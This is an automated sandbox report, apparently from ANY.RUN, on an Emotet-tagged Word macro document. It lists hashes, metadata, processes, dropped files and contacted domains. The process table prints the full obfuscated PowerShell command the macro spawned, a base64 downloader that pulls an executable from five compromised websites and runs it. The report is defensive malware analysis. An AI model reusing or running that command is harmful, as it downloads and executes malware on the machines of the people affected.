analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

sample1.doc

Full analysis: https://app.any.run/tasks/fa07232f-b865-4c6a-aba9-f550dd3dd234
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: May 20, 2019, 12:50:43
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Director Investment Account, Subject: monitoring, Author: Maurine Boyle, Comments: leverage, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon May 20 07:20:00 2019, Last Saved Time/Date: Mon May 20 07:20:00 2019, Number of Pages: 1, Number of Words: 11, Number of Characters: 63, Security: 0
MD5:

3A4E3867370AA18AAE1FEEF744D84787

SHA1:

145943218488C0FBD0EA9E41FE098873D90D8917

SHA256:

6457F95BD35161FDDC97A87FC16C9F4C2BD0D5F412DD62ED6D3D209AD3D457C4

SSDEEP:

3072:d77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qGaXX5ujvVyp+S:d77HUUUUUUUUUUUUUUUUUUUT52VJaXXV

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    No malicious indicators.
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3376)
    • Executed via WMI

      • powershell.exe (PID: 3376)
    • PowerShell script executed

      • powershell.exe (PID: 3376)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3676)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3676)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
Title: Director Investment Account
Subject: monitoring
Author: Maurine Boyle
Keywords: -
Comments: leverage
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:05:20 06:20:00
ModifyDate: 2019:05:20 06:20:00
Pages: 1
Words: 11
Characters: 63
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Schmeler - Lubowitz
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 73
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
Manager: Ruecker
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
36
Monitored processes
2
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
3676"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\sample1.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3376powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABSAF8ANwA4ADMAMgAwAD0AJwBJADgAMwA0ADQAMAAnADsAJABHADIAMQAyAF8AMQAzADgAIAA9ACAAJwA4ADgAMQAnADsAJABDADAAMAA3ADMANgA0AD0AJwB1ADQAXwA4ADQAOQBfACcAOwAkAEUANwAyAF8ANAA0ADUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEcAMgAxADIAXwAxADMAOAArACcALgBlAHgAZQAnADsAJABZAF8AXwA5ADYANQAzADgAPQAnAHAAOAAzADIANwA5ADgANAAnADsAJABLADEAOAAyADgANgA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjAHQAJwApACAAbgBlAFQALgBgAHcAZQBCAGMAbABgAEkAYABlAE4AVAA7ACQAQQA3AF8AMgAyAF8AMQAyAD0AJwBoAHQAdABwADoALwAvAHQAZQBuAGEAbgB0AHMAYwByAGUAZQBuAGkAbgBnAGEAcwBpAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHoAcABqAGQAdgB5ADEANwAvAEAAaAB0AHQAcAA6AC8ALwBiAHkAcwB0AGUAawBzAHQAaQBsAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB6AG0ANgA0ADgAMQAvAEAAaAB0AHQAcAA6AC8ALwBlAHIAaQBjAC0AbQBhAG4AZABhAGwAYQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAagA2ADgANwAyADQAOAAxADIALwBAAGgAdAB0AHAAOgAvAC8AYQB2AGkAdAByAG8AbgBzAC4AYwBvAG0ALwB1AG0AYQAtAHMAaQB0AGUALwBpAHMAaQAyAC8AQABoAHQAdABwADoALwAvAGQAZQB2AGUAbABvAHAAaQBuAGcALgBzAG8AdQBsAGIAcgBpAGcAaAB0AHMALgBjAG8AbQAvAHcAcAAvAHMANAA0ADUALwAnAC4AUwBQAEwASQBUACgAJwBAACcAKQA7ACQAawAyADQAOAA3AF8AOAAzAD0AJwBYADUANgAyADUANgA2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABmADEANABfADAAMQBfADQAIABpAG4AIAAkAEEANwBfADIAMgBfADEAMgApAHsAdAByAHkAewAkAEsAMQA4ADIAOAA2AC4ARABvAFcAbgBMAE8AYQBEAGYASQBMAEUAKAAkAGYAMQA0AF8AMAAxAF8ANAAsACAAJABFADcAMgBfADQANAA1ACkAOwAkAFUANQA3ADUANQA5ADAAPQAnAFcAXwA4ADUANAAyACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQARQA3ADIAXwA0ADQANQApAC4ATABlAG4AZwBUAEgAIAAtAGcAZQAgADMAOQA3ADMAMQApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACAAJABFADcAMgBfADQANAA1ADsAJABPADMANgA5AF8AMwA4AD0AJwBKADEAOAAxADMANQAxACcAOwBiAHIAZQBhAGsAOwAkAEYAOABfADAAOQA0AD0AJwBaADgAMQAyADUAMwAxAF8AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAcgA3ADUANQA5ADAAPQAnAGYANQA1ADgAMwA1ADIAOQAnAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 335
Read events
872
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
7

Dropped files

PID
Process
Filename
Type
3676WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVREDC8.tmp.cvr
MD5:
SHA256:
3376powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MFUFMSCKXBCZ0ZG392BH.temp
MD5:
SHA256:
3676WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2482F94B.wmfwmf
MD5:A1759BDA71C3FE0B899A08B657C2643E
SHA256:13AD1498E24AE8D7E6FCE1B4FA1DD9855E865891B48CD56775EC3F351565A6C1
3676WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ample1.docpgc
MD5:4CA4F06D56E7FB1A02F63BA173466BC5
SHA256:76C49B781C8AC9FA4C55803E74AE2AF4B2D0CBF091B7E071DEE169E7AE4D49E3
3676WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:534EF18F78BDAE5574074FE868395F50
SHA256:3287564A0E3AB769DDF321AE595507D7D48AA8AA95E0E65CE11999A90BBA1113
3676WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\718EEC91.wmfwmf
MD5:BE821216F0F5D750EEDC2DD731AB8104
SHA256:4F42EDBCAF8BC035D903D35AE0B34A5BC4D6D23B8595B29C8AE5281E25117AB1
3676WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\624D8AD0.wmfwmf
MD5:611BEEF491302AFD173D49DDC3C7DC07
SHA256:57BEF3840433E8F6A9A841D8484A0AE01E9BCA6F85021C86D23AE8579049D7AA
3376powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11fbd2.TMPbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
3676WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D0ACC95E.wmfwmf
MD5:6272AF1ED2802982871A25A0C22E5038
SHA256:770A59E04B2CF450CF361A8FC3D1C9C038396EE4260899DC234A38A7527A37BD
3676WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:17222E7BED955763CB75EBDA153E0074
SHA256:EAEB163582F92B56C14963150DA7DBEA34565552F3D187A793BE19BEB0978882
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3376
powershell.exe
GET
404
195.154.162.233:80
http://bystekstil.com/wp-admin/zm6481/
FR
xml
345 b
suspicious
3376
powershell.exe
GET
404
91.216.107.155:80
http://eric-mandala.com/wp-content/fj68724812/
FR
xml
345 b
malicious
3376
powershell.exe
GET
404
202.71.110.22:80
http://tenantscreeningasia.com/wp-admin/zpjdvy17/
MY
xml
345 b
suspicious
3376
powershell.exe
GET
404
78.24.184.133:80
http://developing.soulbrights.com/wp/s445/
HU
xml
345 b
suspicious
3376
powershell.exe
GET
404
108.179.217.238:80
http://avitrons.com/uma-site/isi2/
US
xml
345 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
91.216.107.155:80
eric-mandala.com
ADISTA SAS
FR
malicious
195.154.162.233:80
bystekstil.com
Online S.a.s.
FR
suspicious
202.71.110.22:80
tenantscreeningasia.com
TM-VADS DC Hosting
MY
suspicious
108.179.217.238:80
avitrons.com
CyrusOne LLC
US
unknown
78.24.184.133:80
developing.soulbrights.com
ATW Internet Kft.
HU
suspicious

DNS requests

Domain
IP
Reputation
tenantscreeningasia.com
  • 202.71.110.22
suspicious
bystekstil.com
  • 195.154.162.233
suspicious
eric-mandala.com
  • 91.216.107.155
malicious
avitrons.com
  • 108.179.217.238
unknown
developing.soulbrights.com
  • 78.24.184.133
unknown

Threats

No threats detected
No debug info